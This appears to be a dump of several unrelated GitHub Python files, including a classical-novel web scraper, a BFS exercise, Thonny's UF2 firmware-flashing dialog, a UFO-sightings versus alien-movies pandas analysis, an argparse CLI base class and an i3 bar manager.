    => ''\n 5. 将章节信息存储到文件中\n\"\"\"\n\nimport csv\nimport os\nimport re\n\nimport requests\nfrom colorama import Fore\nfrom fake_useragent import UserAgent\nfrom lxml import etree\nfrom requests import HTTPError\nfrom bs4 import BeautifulSoup\n\n\ndef download_page(url, parmas=None):\n \"\"\"\n 根据url地址下载html页面\n :param url:\n :param parmas:\n :return: str\n \"\"\"\n try:\n ua = UserAgent()\n headers = {\n 'User-Agent': ua.random,\n }\n # 请求https协议的时候, 回遇到报错: SSLError\n # verify=Flase不验证证书\n response = requests.get(url, params=parmas, headers=headers)\n except HTTPError as e:\n print(Fore.RED + '[-] 爬取网站%s失败: %s' % (url, str(e)))\n return None\n else:\n # content返回的是bytes类型, text返回字符串类型\n return response.text\n\n\ndef parse_html(html):\n # 实例化BeautifulSoup对象, 并通过指定的解析器(4种)解析html字符串的内容\n soup = BeautifulSoup(html, 'lxml')\n # 根据bs4的选择器获取章节的详情页链接和章节的名称\n book = soup.find('div', class_='book-mulu') # 获取该书籍对象\n chapters = book.find_all('li') # 获取该数据的所有章节对应的li标签, 返回的是列表\n # 依次遍历每一个章节的内容\n for chapter in chapters:\n detail_url = chapter.a['href']\n chapter_name = chapter.a.string\n yield {\n 'detail_url': detail_url,\n 'chapter_name': chapter_name\n }\n\n\ndef parse_detail_html(html):\n # 实例化BeautifulSoup对象, 并通过指定的解析器(4种)解析html字符串的内容\n soup = BeautifulSoup(html, 'lxml')\n # 根据章节的详情页链接访问章节内容, string只拿出当前标签的文本信息, get_text返回当前标签和子孙标签的所有文本信息\n #
    \n chapter_content = soup.find('div', class_='chapter_content').get_text()\n return chapter_content.replace(' ', '')\n\n\n\ndef get_one_page():\n base_url = 'http://www.shicimingju.com'\n url = 'http://www.shicimingju.com/book/sanguoyanyi.html'\n dirname = \"三国演义\"\n if not os.path.exists(dirname):\n os.mkdir(dirname)\n print(Fore.GREEN + \"创建书籍目录%s成功\" %(dirname))\n\n html = download_page(url)\n items = parse_html(html)\n for item in items:\n # 访问详情页链接\n detail_url = base_url + item['detail_url']\n # 生成文件存储的路径: 三国演义/第一回.xxxxx.txt\n chapter_name = os.path.join(dirname, item['chapter_name'] + '.txt')\n chapter_html = download_page(detail_url)\n chapter_content = parse_detail_html(chapter_html)\n\n # 写入文件\n with open(chapter_name, 'w', encoding='utf-8') as f:\n f.write(chapter_content)\n print(Fore.GREEN + \"写入文件%s成功\" %(chapter_name))\n\n\nif __name__ == '__main__':\n get_one_page()\n\n","repo_name":"Sendoh-Leo/LitterSpyderProjects","sub_path":"19_基于requests和BS4的三国演义名著定向爬虫.py","file_name":"19_基于requests和BS4的三国演义名著定向爬虫.py","file_ext":"py","file_size_in_byte":3712,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"74954692060","text":"from collections import deque\n\nclass Graph:\n def __init__(self, adjacency_dict = {}):\n self.adjacency_dict = adjacency_dict\n\n def bsf(self, start_node):\n if not self.adjacency_graph:\n return []\n \n visited = [start_node]\n q = deque([start_node])\n\n while q:\n current = q.popleft()\n\n for node in self.adjacent_graph[current]:\n if node not in visited:\n visited.append(node)\n q.appendright(node)\n\n return visited","repo_name":"Ihovanna/Exercises","sub_path":"iter_bfs_graph.py","file_name":"iter_bfs_graph.py","file_ext":"py","file_size_in_byte":548,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"41552509851","text":"import os.path\nimport re\nimport sys\nimport threading\nimport time\nimport traceback\nimport urllib.request\nfrom dataclasses import dataclass\nfrom logging import getLogger\nfrom tkinter import ttk\nfrom typing import Any, Dict, List, Optional, Set\n\nfrom thonny import get_runner\nfrom thonny.languages import tr\nfrom thonny.misc_utils import get_win_volume_name, list_volumes\nfrom thonny.ui_utils import AdvancedLabel, MappingCombobox, set_text_if_different\nfrom thonny.workdlg import WorkDialog\n\nlogger = getLogger(__name__)\n\nFAKE_USER_AGENT = \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36\"\n\n\n@dataclass()\nclass TargetInfo:\n title: str\n path: str\n family: Optional[str]\n model: Optional[str]\n board_id: Optional[str]\n\n\nclass Uf2FlashingDialog(WorkDialog):\n def __init__(self, master, firmware_name: str):\n self._downloaded_variants: List[Dict[str, Any]] = []\n\n self._last_handled_target = None\n self._last_handled_variant = None\n self.firmware_name = firmware_name\n\n threading.Thread(target=self._download_variants, daemon=True).start()\n\n super().__init__(master, autostart=False)\n\n def get_variants_url(self) -> str:\n return f\"https://raw.githubusercontent.com/thonny/thonny/master/data/{self.firmware_name.lower()}-variants-uf2.json\"\n\n def populate_main_frame(self):\n epadx = self.get_large_padding()\n ipadx = self.get_small_padding()\n epady = epadx\n ipady = ipadx\n\n target_label = ttk.Label(self.main_frame, text=\"Target volume\")\n target_label.grid(row=1, column=1, sticky=\"e\", padx=(epadx, 0), pady=(epady, 0))\n self._target_combo = MappingCombobox(self.main_frame, exportselection=False)\n self._target_combo.grid(\n row=1, column=2, sticky=\"nsew\", padx=(ipadx, epadx), pady=(epady, 0)\n )\n\n self._target_info_label = ttk.Label(self.main_frame, text=\"model\")\n self._target_info_label.grid(row=2, column=1, sticky=\"e\", padx=(epadx, 0), pady=(ipady, 0))\n self._target_info_content_label = ttk.Label(self.main_frame)\n self._target_info_content_label.grid(\n row=2, column=2, sticky=\"w\", padx=(ipadx, epadx), pady=(ipady, 0)\n )\n\n variant_label = ttk.Label(self.main_frame, text=f\"{self.firmware_name} variant\")\n variant_label.grid(row=5, column=1, sticky=\"e\", padx=(epadx, 0), pady=(epady, 0))\n self._variant_combo = MappingCombobox(self.main_frame, exportselection=False)\n self._variant_combo.grid(\n row=5, column=2, sticky=\"nsew\", padx=(ipadx, epadx), pady=(epady, 0)\n )\n\n version_label = ttk.Label(self.main_frame, text=\"version\")\n version_label.grid(row=6, column=1, sticky=\"e\", padx=(epadx, 0), pady=(ipady, 0))\n self._version_combo = MappingCombobox(self.main_frame, exportselection=False)\n self._version_combo.grid(\n row=6, column=2, sticky=\"nsew\", padx=(ipadx, epadx), pady=(ipady, 0)\n )\n\n variant_info_label = ttk.Label(self.main_frame, text=\"info\")\n variant_info_label.grid(row=7, column=1, sticky=\"e\", padx=(epadx, 0), pady=(ipady, 0))\n self._variant_info_content_label = AdvancedLabel(self.main_frame)\n self._variant_info_content_label.grid(\n row=7, column=2, sticky=\"w\", padx=(ipadx, epadx), pady=(ipady, 0)\n )\n\n self.main_frame.columnconfigure(2, weight=1)\n\n def update_ui(self):\n if self._state == \"idle\":\n targets = self.find_targets()\n if targets != self._target_combo.mapping:\n self.show_new_targets(targets)\n self._last_handled_target = None\n\n current_target = self._target_combo.get_selected_value()\n if not current_target:\n self._variant_combo.set_mapping({})\n self._variant_combo.select_none()\n elif current_target != self._last_handled_target and self._downloaded_variants:\n self._present_variants_for_target(current_target)\n self._last_handled_target = current_target\n self._last_handled_variant = None\n self._update_target_info()\n\n current_variant = self._variant_combo.get_selected_value()\n if not current_variant:\n self._version_combo.select_none()\n self._version_combo.set_mapping({})\n elif current_variant != self._last_handled_variant:\n self._present_versions_for_variant(current_variant)\n self._last_handled_variant = current_variant\n self._update_variant_info()\n\n super().update_ui()\n\n def find_targets(self) -> Dict[str, TargetInfo]:\n paths = [\n vol\n for vol in list_volumes(skip_letters=[\"A\"])\n if os.path.isfile(os.path.join(vol, self.get_info_file_name()))\n ]\n\n result = {}\n for path in paths:\n try:\n target_info = self.create_target_info(path)\n if target_info:\n result[target_info.title] = target_info\n except:\n # the disk may have been ejected during read or smth like this\n logger.exception(\"Could not create target info\")\n\n return result\n\n def show_new_targets(self, targets: Dict[str, TargetInfo]) -> None:\n self._target_combo.set_mapping(targets)\n if len(targets) == 1:\n self._target_combo.select_value(list(targets.values())[0])\n else:\n self._target_combo.select_none()\n\n def _update_target_info(self):\n current_target = self._target_combo.get_selected_value()\n if current_target is not None:\n if current_target.model:\n if current_target.model == \"Raspberry Pi RP2\":\n # too general to be called model\n text = \"RP2\"\n label = \"family\"\n else:\n text = current_target.model\n label = \"model\"\n elif current_target.board_id:\n text = current_target.board_id\n label = \"board id\"\n elif current_target.family:\n text = current_target.family\n label = \"family\"\n else:\n text = \"Unknown board\"\n label = \"info\"\n\n elif not self._target_combo.mapping:\n text = \"[no suitable targets detected]\"\n label = \"\"\n else:\n text = f\"[found {len(self._target_combo.mapping)} targets, please select one]\"\n label = \"\"\n\n set_text_if_different(self._target_info_content_label, text)\n set_text_if_different(self._target_info_label, label)\n\n def _update_variant_info(self):\n current_variant = self._variant_combo.get_selected_value()\n if not self._downloaded_variants:\n url = None\n text = \"[downloading variants info ...]\"\n elif current_variant:\n url = current_variant[\"info_url\"]\n text = url\n elif self._variant_combo.mapping:\n url = None\n text = f\"[select one from {len(self._variant_combo.mapping)} variants]\"\n else:\n url = None\n text = \"\"\n\n set_text_if_different(self._variant_info_content_label, text)\n self._variant_info_content_label.set_url(url)\n\n def _present_variants_for_target(self, target: TargetInfo) -> None:\n assert self._downloaded_variants\n\n whole_mapping = {self._create_variant_description(v): v for v in self._downloaded_variants}\n\n if target.family is not None:\n filtered_mapping = {\n item[0]: item[1]\n for item in whole_mapping.items()\n if item[1][\"family\"].startswith(target.family)\n }\n if not filtered_mapping:\n filtered_mapping = whole_mapping\n else:\n filtered_mapping = whole_mapping\n\n prev_variant = self._variant_combo.get_selected_value()\n\n populars = {\n key: variant\n for key, variant in filtered_mapping.items()\n if variant.get(\"popular\", False)\n }\n if populars and len(populars) < len(filtered_mapping):\n enhanced_mapping = {\"--- MOST POPULAR \" + \"-\" * 100: {}}\n for variant in populars.values():\n popular_variant = variant.copy()\n # need different title to distinguish it from the same item in ALL VARIANTS\n popular_title = self._create_variant_description(variant) + \" \"\n popular_variant[\"title\"] = popular_title\n enhanced_mapping[popular_title] = popular_variant\n\n enhanced_mapping[\"--- ALL VARIANTS \" + \"-\" * 100] = {}\n enhanced_mapping.update(filtered_mapping)\n else:\n enhanced_mapping = filtered_mapping\n\n self._variant_combo.set_mapping(enhanced_mapping)\n matches = list(\n filter(\n lambda v: self._variant_is_meant_for_target(v, target), filtered_mapping.values()\n )\n )\n\n if len(matches) == 1:\n self._variant_combo.select_value(matches[0])\n elif prev_variant and prev_variant in filtered_mapping.values():\n self._variant_combo.select_value(prev_variant)\n\n def _present_versions_for_variant(self, variant: Dict[str, Any]) -> None:\n versions_mapping = {d[\"version\"]: d for d in variant[\"downloads\"]}\n self._version_combo.set_mapping(versions_mapping)\n if len(versions_mapping) > 0:\n self._version_combo.select_value(list(versions_mapping.values())[0])\n else:\n self._version_combo.select_none()\n\n def _create_variant_description(self, variant: Dict[str, Any]) -> str:\n return variant[\"vendor\"] + \" • \" + variant.get(\"title\", variant[\"model\"])\n\n def _variant_is_meant_for_target(self, variant: Dict[str, Any], target: TargetInfo):\n if target.family is None:\n # Don't assume anything about unknown targets\n return False\n\n if not variant[\"family\"].startswith(target.family):\n return False\n\n if target.model is None:\n return False\n\n # Compare set of words both with and without considering the possibility that one of them\n # may have vendor name added and other not.\n return self._extract_normalized_words(target.model) == self._extract_normalized_words(\n variant[\"model\"]\n ) or self._extract_normalized_words(\n target.model + \" \" + variant[\"vendor\"]\n ) == self._extract_normalized_words(\n variant[\"model\"] + \" \" + variant[\"vendor\"]\n )\n\n def _extract_normalized_words(self, text: str) -> Set[str]:\n return set(text.replace(\"_\", \" \").replace(\"-\", \"\").lower().split())\n\n def describe_target_path(self, path: str) -> str:\n if sys.platform == \"win32\":\n try:\n label = get_win_volume_name(path)\n disk = path.strip(\"\\\\\")\n return f\"{label} ({disk})\"\n except:\n logger.error(\"Could not query volume name for %r\", path)\n return path\n else:\n return path\n\n def create_target_info(self, path: str) -> Optional[TargetInfo]:\n info_path = os.path.join(path, self.get_info_file_name())\n assert os.path.isfile(info_path)\n with open(info_path, encoding=\"utf-8\") as fp:\n info_content = fp.read()\n info_lines = info_content.splitlines()\n normalized_content = info_content.lower().replace(\" \", \"\").replace(\"_\", \"\").replace(\"-\", \"\")\n\n model = find_uf2_property(info_lines, \"Model\")\n board_id = find_uf2_property(info_lines, \"Board-ID\")\n\n if \"boardid:rpirp2\" in normalized_content:\n family = \"rp2\"\n else:\n for keyword in [\"samd21\", \"samd51\", \"nrf51\", \"nrf52\", \"esp32s3\", \"esp32s3\"]:\n if keyword in normalized_content:\n family = keyword\n break\n else:\n family = None\n\n return TargetInfo(\n title=self.describe_target_path(path),\n path=path,\n family=family,\n model=model,\n board_id=board_id,\n )\n\n def get_info_file_name(self):\n return \"INFO_UF2.TXT\"\n\n def _download_variants(self):\n logger.info(\"Downloading %r\", self.get_variants_url())\n import json\n from urllib.request import urlopen\n\n try:\n req = urllib.request.Request(\n self.get_variants_url(),\n data=None,\n headers={\n \"User-Agent\": FAKE_USER_AGENT,\n \"Cache-Control\": \"no-cache\",\n },\n )\n with urlopen(req) as fp:\n json_str = fp.read().decode(\"UTF-8\")\n # logger.debug(\"Variants info: %r\", json_str)\n variants = json.loads(json_str)\n logger.info(\"Got %r variants\", len(variants))\n self._tweak_variants(variants)\n except Exception:\n msg = f\"Could not download variants info from {self.get_variants_url()}\"\n logger.exception(msg)\n self.append_text(msg + \"\\n\")\n self.set_action_text(\"Error!\")\n self.grid_progress_widgets()\n return\n\n self._downloaded_variants = variants\n\n def _tweak_variants(self, variants):\n \"\"\"\n A hack for getting the latest pre-release for micropython.org downloads.\n The build that is loaded from the json may already be deleted.\n In order to avoid adding another async operation into the process (after selecting\n a variant and before presenting versions), I'm getting the latest build substring\n from the download page of the first board and downloading it together with the json.\n \"\"\"\n latest_prerelease_substitute = None\n latest_prerelease_regex: str\n for variant in variants:\n new_regex = variant.get(\"latest_prerelease_regex\", None)\n if new_regex:\n latest_prerelease_regex = new_regex\n import json\n import urllib.request\n\n logger.info(\"Downloading %r\", variant[\"info_url\"])\n try:\n req = urllib.request.Request(\n variant[\"info_url\"],\n data=None,\n headers={\n \"User-Agent\": FAKE_USER_AGENT,\n \"Cache-Control\": \"no-cache\",\n },\n )\n with urllib.request.urlopen(req) as fp:\n html_str = fp.read().decode(\"UTF-8\", errors=\"replace\")\n # logger.debug(\"Variants info: %r\", json_str)\n\n match = re.search(latest_prerelease_regex, html_str)\n if match:\n latest_prerelease_substitute = match.group(0)\n logger.info(\n \"Using %r as prerelease substitute\", latest_prerelease_substitute\n )\n else:\n latest_prerelease_substitute = None\n except Exception:\n msg = f\"Could not download variants info from {self.get_variants_url()}\"\n logger.exception(msg)\n self.append_text(msg + \"\\n\")\n self.set_action_text(\"Error!\")\n self.grid_progress_widgets()\n\n if latest_prerelease_substitute:\n assert latest_prerelease_regex\n for i, download in enumerate(variant[\"downloads\"]):\n patched_url = re.sub(\n latest_prerelease_regex, latest_prerelease_substitute, download[\"url\"]\n )\n if patched_url != download[\"url\"]:\n logger.debug(\"Replacing %r with %r\", download[\"url\"], patched_url)\n download[\"url\"] = patched_url\n download[\"version\"] = latest_prerelease_substitute\n\n def get_ok_text(self):\n return tr(\"Install\")\n\n def get_instructions(self) -> Optional[str]:\n return (\n f\"Here you can install or update {self.firmware_name} for devices having an UF2 bootloader\\n\"\n \"(this includes most boards meant for beginners).\\n\"\n \"\\n\"\n \"1. Put your device into bootloader mode: \\n\"\n \" - some devices have to be plugged in while holding the BOOTSEL button,\\n\"\n \" - some require double-tapping the RESET button with proper rythm.\\n\"\n \"2. Wait for couple of seconds until the target volume appears.\\n\"\n \"3. Select desired variant and version.\\n\"\n \"4. Click 'Install' and wait for some seconds until done.\\n\"\n \"5. Close the dialog and start programming!\"\n )\n\n def _on_variant_select(self, *args):\n pass\n\n def get_title(self):\n return f\"Install {self.firmware_name}\"\n\n def is_ready_for_work(self):\n return self._target_combo.get_selected_value() and self._version_combo.get_selected_value()\n\n def start_work(self):\n from thonny.plugins.micropython import BareMetalMicroPythonProxy\n\n download_info: Dict[str, Any] = self._version_combo.get_selected_value()\n assert download_info\n target: TargetInfo = self._target_combo.get_selected_value()\n assert target\n\n target_filename = download_info.get(\"filename\", download_info[\"url\"].split(\"/\")[-1])\n\n self.report_progress(0, 100)\n proxy = get_runner().get_backend_proxy()\n if isinstance(proxy, BareMetalMicroPythonProxy):\n proxy.disconnect()\n\n threading.Thread(\n target=self._perform_work,\n args=[\n download_info[\"url\"],\n download_info.get(\"size\", None),\n target.path,\n target_filename,\n ],\n daemon=True,\n ).start()\n return True\n\n def _perform_work(\n self, download_url: str, size: Optional[int], target_dir: str, target_filename: str\n ) -> None:\n from thonny.plugins.micropython import list_serial_ports\n\n try:\n ports_before = list_serial_ports()\n self._download_to_the_device(download_url, size, target_dir, target_filename)\n if self._state == \"working\":\n self.perform_post_installation_steps(ports_before)\n except Exception as e:\n self.append_text(\"\\n\" + \"\".join(traceback.format_exc()))\n self.set_action_text(\"Error...\")\n self.report_done(False)\n return\n\n if self._state == \"working\":\n self.append_text(\"\\nDone!\\n\")\n self.set_action_text(\"Done!\")\n self.report_done(True)\n else:\n assert self._state == \"cancelling\"\n self.append_text(\"\\nCancelled\\n\")\n self.set_action_text(\"Cancelled\")\n self.report_done(False)\n\n def _download_to_the_device(\n self, download_url: str, size: Optional[int], target_dir: str, target_filename: str\n ):\n from urllib.request import urlopen\n\n \"\"\"Running in a bg thread\"\"\"\n target_path = os.path.join(target_dir, target_filename)\n logger.debug(\"Downloading from %s to %s\", download_url, target_path)\n\n self.set_action_text(\"Starting...\")\n self.append_text(\"Downloading from %s\\n\" % download_url)\n\n req = urllib.request.Request(\n download_url,\n data=None,\n headers={\n \"User-Agent\": \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36\"\n },\n )\n\n with urlopen(req, timeout=5) as fsrc:\n if size is None:\n size = int(fsrc.getheader(\"Content-Length\", str(500 * 1024)))\n\n bytes_copied = 0\n self.append_text(\"Writing to %s\\n\" % target_path)\n self.append_text(\"Starting...\")\n if fsrc.length:\n # override (possibly inaccurate) size\n size = fsrc.length\n\n block_size = 8 * 1024\n with open(target_path, \"wb\") as fdst:\n while True:\n\n block = fsrc.read(block_size)\n if not block:\n break\n\n if self._state == \"cancelling\":\n break\n\n fdst.write(block)\n fdst.flush()\n os.fsync(fdst.fileno())\n bytes_copied += len(block)\n percent_str = \"%.0f%%\" % (bytes_copied / size * 100)\n self.set_action_text(\"Copying... \" + percent_str)\n self.report_progress(bytes_copied, size)\n self.replace_last_line(percent_str)\n\n def _wait_for_new_ports(self, old_ports):\n from thonny.plugins.micropython import list_serial_ports\n\n self.append_text(\"\\nWaiting for the port...\\n\")\n self.set_action_text(\"Waiting for the port...\")\n\n wait_time = 0\n step = 0.2\n while wait_time < 10:\n new_ports = list_serial_ports()\n added_ports = set(new_ports) - set(old_ports)\n if added_ports:\n for p in added_ports:\n self.append_text(\"Found %s at %s\\n\" % (\"%04x:%04x\" % (p.vid, p.pid), p.device))\n self.set_action_text(\"Found port\")\n return\n if self._state == \"cancelling\":\n return\n time.sleep(step)\n wait_time += step\n else:\n self.set_action_text(\"Warning: Could not find port\")\n self.append_text(\"Warning: Could not find port in %s seconds\\n\" % int(wait_time))\n # leave some time to see the warning\n time.sleep(2)\n\n def perform_post_installation_steps(self, ports_before):\n self._wait_for_new_ports(ports_before)\n\n\ndef find_uf2_property(lines: List[str], prop_name: str) -> Optional[str]:\n marker = prop_name + \": \"\n for line in lines:\n if line.startswith(marker):\n return line[len(marker) :]\n\n return None\n\n\ndef show_uf2_installer(master, firmware_name: str) -> None:\n dlg = Uf2FlashingDialog(master, firmware_name=firmware_name)\n from thonny import ui_utils\n\n ui_utils.show_dialog(dlg)\n\n\ndef uf2_device_is_present_in_bootloader_mode() -> bool:\n for vol in list_volumes(skip_letters=[\"A\"]):\n info_path = os.path.join(vol, \"INFO_UF2.TXT\")\n if os.path.isfile(info_path):\n return True\n\n return False\n","repo_name":"merlinepedra/THONNY-PYTHON","sub_path":"thonny/plugins/micropython/uf2dialog.py","file_name":"uf2dialog.py","file_ext":"py","file_size_in_byte":22981,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"69"} +{"seq_id":"2686833019","text":"# coding=utf-8\nfrom abc import abstractmethod\nfrom argparse import ArgumentParser\nfrom typing import Any, Generic, Iterable, Mapping\n\nfrom ._core import log\nfrom .argument_processor import ArgumentProcessor, ProcessorHint\nfrom .command import Command, CommandResult\nfrom .command_argument_processor import CommandArgumentProcessor\nfrom .command_line import CommandLine\nfrom .create_basic_argument_parser import create_basic_argument_parser\nfrom .this_package_metadata import package_metadata\n\n\nclass CommandLineApp(Command, Generic[CommandResult, ProcessorHint]):\n _sub_parsers_attribute = \"_{}_sub_processors\".format(package_metadata.package_name)\n\n def __init__(\n self,\n package_name=None,\n package_version=None,\n description=None,\n argument_processor=None,\n log_unhandled_exceptions=None):\n # type: (str, str, str, ArgumentProcessor, bool) -> None\n if log_unhandled_exceptions is None:\n log_unhandled_exceptions = False\n\n if argument_processor is None:\n argument_processor = CommandArgumentProcessor()\n\n self._package_name = package_name\n self._package_version = package_version\n self._description = description\n self._argument_processor = argument_processor\n self._log_unhandled_exceptions = log_unhandled_exceptions\n\n @abstractmethod\n def build_parser(self, parser):\n # type: (ArgumentParser) -> None\n pass\n\n def add_command(\n self,\n parser,\n name,\n processor_hint,\n help=None,\n defaults=None):\n # type: (ArgumentParser, str, ProcessorHint, str, Mapping[str, Any]) -> ArgumentParser\n if not hasattr(parser, self._sub_parsers_attribute):\n sub_parsers = parser.add_subparsers()\n setattr(parser, self._sub_parsers_attribute, sub_parsers)\n else:\n sub_parsers = getattr(parser, self._sub_parsers_attribute)\n\n command_parser = sub_parsers.add_parser(name, help=help)\n\n if not defaults:\n defaults = dict()\n\n defaults[self._argument_processor.processor_hint_attribute] = processor_hint\n\n command_parser.set_defaults(**defaults)\n\n return command_parser\n\n def set_parser_processor_hint(self, parser, processor_hint):\n # type: (ArgumentParser, Any) -> ArgumentParser\n defaults = dict()\n defaults[self._argument_processor.processor_hint_attribute] = processor_hint\n parser.set_defaults(**defaults)\n\n log.debug(\"Successfully set parser processor hint {} with hint name {}\".format(\n processor_hint,\n self._argument_processor.processor_hint_attribute))\n\n return parser\n\n def main(self, arguments=None):\n # type: (Iterable[Any]) -> CommandResult\n return self.run(arguments)\n\n def run(self, arguments=None):\n # type: (Iterable[Any]) -> CommandResult\n parser = self._create_parser()\n command_line = CommandLine(\n argument_parser=parser,\n argument_processor=self._argument_processor,\n include_stack_trace_in_unhandled_exceptions=self._log_unhandled_exceptions)\n return command_line()\n\n def _create_parser(self):\n # type: () -> ArgumentParser\n parser = create_basic_argument_parser(self._package_name, self._package_version, self._description)\n self.build_parser(parser)\n\n return parser\n","repo_name":"mbrennan/augustine","sub_path":"augustine/command_line_app.py","file_name":"command_line_app.py","file_ext":"py","file_size_in_byte":3490,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"16009926891","text":"\n# coding: utf-8\n\n# In[71]:\n\n\nimport pandas as pd\nimport numpy as np\nimport re\nimport warnings\nimport math\nfrom datetime import datetime, timedelta\nwarnings.filterwarnings('ignore')\n\n\n# In[72]:\n\n\ndef print_series(x):\n print('length =', len(x))\n print('\\n'.join(str(y) for y in x))\n \ndef print_multiple_series(x, y):\n print('length =', len(x))\n print('\\n'.join(str(i) + ', ' + str(j) for i,j in zip(x,y))) \n \ndef parse_city(raw_loc):\n splits = re.split('[^a-zA-Z\\s.]', raw_loc)\n try:\n city = splits[0].strip()\n if 'St.' in city:\n city = city.split('St.')[-1]\n city = 'Saint ' + city.strip()\n except:\n city = 'None'\n return city\n\ndef parse_state(raw_loc):\n splits = re.split('[^a-zA-Z]', raw_loc)\n state = splits[-1]\n return state\n\ndef remove_apostrophe(x):\n x = x.replace('\\'', '')\n return x\n\n\n# In[73]:\n\n\nkeywords = pd.read_csv('data/movies/keywords.csv')\n\nmovies_metadata = pd.read_csv('data/movies/movies_metadata.csv')\n# print('\\',\\n\\''.join(movies_metadata.columns))\n\nmovies_metadata_features = [\n 'genres',\n 'id',\n 'original_language',\n 'overview',\n 'popularity',\n 'production_countries',\n 'release_date',\n 'revenue',\n 'runtime',\n 'title'\n]\n\nmovies_metadata_selected = movies_metadata[movies_metadata_features]\nprint(movies_metadata_selected.shape)\n\nmovies_metadata_selected = movies_metadata_selected.dropna()\nmovies_metadata_selected.release_date = pd.to_datetime(movies_metadata_selected.release_date)\n\ndrop_these = movies_metadata_selected[movies_metadata_selected.id.str.contains(r'[^\\d]')]\n\nmovies_metadata_selected = movies_metadata_selected.drop(drop_these.index)\nprint(movies_metadata_selected.shape)\n\n\n# In[74]:\n\n\n#print_multiple_series(keywords.id, movies_metadata.id)\n\n# movies_metadata_selected = movies_metadata_selected.set_index(['id'])\n# keywords = keywords.set_index(['id'])\nprint(keywords.columns)\nprint(movies_metadata_selected.columns)\n\n\n# In[75]:\n\n\nkeywords.id.dtype\n\n\n# In[76]:\n\n\nmovies_metadata_selected.id = movies_metadata_selected.id.astype('int64')\nmovies_metadata_selected.id.dtype\n\n\n# In[77]:\n\n\nmovies_keywords = pd.merge(movies_metadata_selected, \n keywords, \n on='id')\nmovies_keywords.keywords = movies_keywords.keywords.astype(list)\n\nmovies = movies_keywords[movies_keywords.keywords.str.contains(r'\\balien\\b')]\nmovies.columns\n\n\n# In[78]:\n\n\nufo_cities = pd.read_csv('data/ufo-sightings/merged_lat_long.csv')\nufo_cities = ufo_cities.rename(columns={'location_x': 'location'})\ndel ufo_cities['location_y']\nufo_cities.columns\n\n\n# In[79]:\n\n\nufo_cities.location = ufo_cities.location.apply(str)\n\nufo_cities = ufo_cities[ufo_cities.reported_time != 0]\nufo_cities.reported_time.value_counts()\n\n\nufo_cities.reported_time = ufo_cities.reported_time.apply(str)\nufo_cities.reported_time = pd.to_datetime(ufo_cities.reported_time, \n format=\"%Y%m%d\",\n errors = \"coerce\")\n\n\n# In[80]:\n\n\nmonth = timedelta(days=30)\n\nmovies = movies.sort_values('release_date')\nufo_cities = ufo_cities.sort_values('reported_time')\n\n\n# In[82]:\n\n\n# def get_movie(sighting):\n# f = movies[sighting['reported_time'] > movies.release_date & \n# sighting['reported_time'] <= movies.release_date + month]\n# if f:\n# return True\n# return False\n\ndef get_movie(sighting):\n f = movies[(sighting['reported_time'] > movies.release_date) & \n (sighting['reported_time'] <= movies.release_date + month)]\n if not f.empty:\n movie = f.iloc[0]\n return (sighting['idx'],\n True,\n movie.title, \n movie.popularity, \n movie.revenue,\n None,None,None,None,None,None)\n return (sighting['idx'], False, None, None, None,None,None,None,None,None,None)\n\nsightings_movies = ufo_cities.apply(get_movie, axis = 1)\nsightings_movies.columns\n\n\n# In[84]:\n\n\nsightings_movies.tail()\nselect_cols = ['idx','sight_time' ,'reported_time','location', 'shape']\n\nmatched_movies = sightings_movies[select_cols]\n\nrename_cols = {'sight_time':'movie_influence' ,\n 'reported_time':'movie_title',\n 'location':'movie_pop',\n 'location':'movie_rev'}\n\nmatched_movies = matched_movies.rename(columns = rename_cols)\nmatched_movies\n\n\n# In[86]:\n\n\nufo_cities_merged = pd.merge(ufo_cities, \n matched_movies, \n on='idx')\nufo_cities_merged.to_csv('movies_merged_final.csv')\n\n\n# In[88]:\n\n\nufo_cities_merged.to_csv('data/movies/movies_merged_final.csv')\n\n","repo_name":"akarshgoyal/CSCI-599-Content_Detection_and_Analysis_for_Big_Data","sub_path":"BigData_UFOAnalysis-master/movies_merged_final.py","file_name":"movies_merged_final.py","file_ext":"py","file_size_in_byte":4646,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"73000586139","text":"import sys\nimport string\nimport json\n\nfrom evdaemon import Module\nfrom evdmodule_i3 import i3Module, i3ipcModule\nfrom color import *\n\ndef scan_json_obj_naive(f):\n d = \"\"\n\n def chomp():\n nonlocal d\n c = f.read(1)\n if c == '':\n raise EOFError(\"unexpected end of object stream\")\n d += c\n return c\n\n while chomp() in string.whitespace + \",\" + \"[\":\n d = \"\"\n\n assert d == \"{\", \"non-object encountered\"\n while chomp() != \"}\":\n pass\n\n return json.loads(d)\n\nclass barManagerModule(Module):\n name = \"barManager\"\n def __init__(self, skip_line):\n super().__init__()\n\n self.monitor_count = 1\n\n print(json.dumps({ \"version\": 1, \"click_events\": True }))\n print(\"[\")\n sys.stdout.flush()\n if skip_line:\n sys.stdin.readline()\n\n self.listen(\"bar\", \"line\", self._bar)\n self.listen_private(\"bar_action\", self._bar_action)\n self.register_file(sys.stdin.buffer, \"bar_action\")\n\n def register_daemon(self, daemon):\n super().register_daemon(daemon)\n\n if \"wm\" not in daemon.modules:\n daemon.register(i3Module())\n\n if \"i3ipc\" not in daemon.modules:\n daemon.register(i3ipcModule())\n\n self._wm = self.global_state.wm\n self._ipc = daemon.modules[\"i3ipc\"]\n\n def unregister_daemon(self, daemon):\n super().unregister_daemon(daemon)\n\n self._wm = None\n self._ipc = None\n\n def _bar(self, blocks):\n print(json.dumps(blocks) + \",\")\n sys.stdout.flush()\n\n def _bar_action(self):\n msg = scan_json_obj_naive(sys.stdin)\n if \"name\" in msg and msg[\"name\"] == \"close\":\n self._ipc.send_cmd(\"command\", \"kill\")\n","repo_name":"Ferdi265/evd_lemon","sub_path":"barmanager.py","file_name":"barmanager.py","file_ext":"py","file_size_in_byte":1748,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"69"} +{"seq_id":"72704383579","text":"import asyncio\nimport 